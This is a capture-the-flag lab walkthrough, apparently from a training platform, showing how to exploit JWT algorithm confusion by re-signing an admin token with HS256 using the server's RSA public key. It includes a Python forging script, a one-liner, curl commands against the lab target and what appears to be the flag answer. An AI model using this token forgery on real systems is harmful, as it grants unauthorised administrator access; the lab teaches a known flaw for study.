Start the machine, hack the system, and find the hidden flags to complete this challenge and earn points!
This walkthrough explains how to hack the lab and capture the flags. For help with Learning Mode questions, use the Request Hint button next to each question.
The challenge presents a JWT authentication system that uses RS256 algorithm. You need to exploit an algorithm confusion vulnerability to forge an admin token and access the admin panel.
<target-ip> (you'll be automatically redirected from port 80 to the main application)<target-ip>/verifycurl -O <target-ip>/public-keypublic_key.pem file#!/usr/bin/env python3
import jwt
import datetime
# Read the RSA public key
with open('public_key.pem', 'r') as f:
public_key = f.read()
# Create admin payload
payload = {
'username': 'admin',
'role': 'admin',
'iat': datetime.datetime.utcnow(),
'exp': datetime.datetime.utcnow() + datetime.timedelta(hours=1)
}
# Sign with HS256 using public key as secret (algorithm confusion)
# Strip PEM headers and use raw key data as HMAC secret
key_data = public_key.replace('-----BEGIN PUBLIC KEY-----', '').replace('-----END PUBLIC KEY-----', '').replace('\n', '')
admin_token = jwt.encode(payload, key_data, algorithm='HS256')
print(admin_token)python3 -c "import jwt, datetime; public_key=open('public_key.pem').read(); key_data=public_key.replace('-----BEGIN PUBLIC KEY-----', '').replace('-----END PUBLIC KEY-----', '').replace('\n', ''); token=jwt.encode({'username': 'admin', 'role': 'admin', 'iat': datetime.datetime.utcnow(), 'exp': datetime.datetime.utcnow() + datetime.timedelta(hours=1)}, key_data, algorithm='HS256'); print(token.decode('utf-8') if isinstance(token, bytes) else token)"curl -H "Authorization: Bearer <forged_admin_token>" <target-ip>/admin06fa7760-fb97-40d8-bccd-6b842b84e67aChoose how you want to get started
Choose a username to get started
We've sent a 9-character code to your email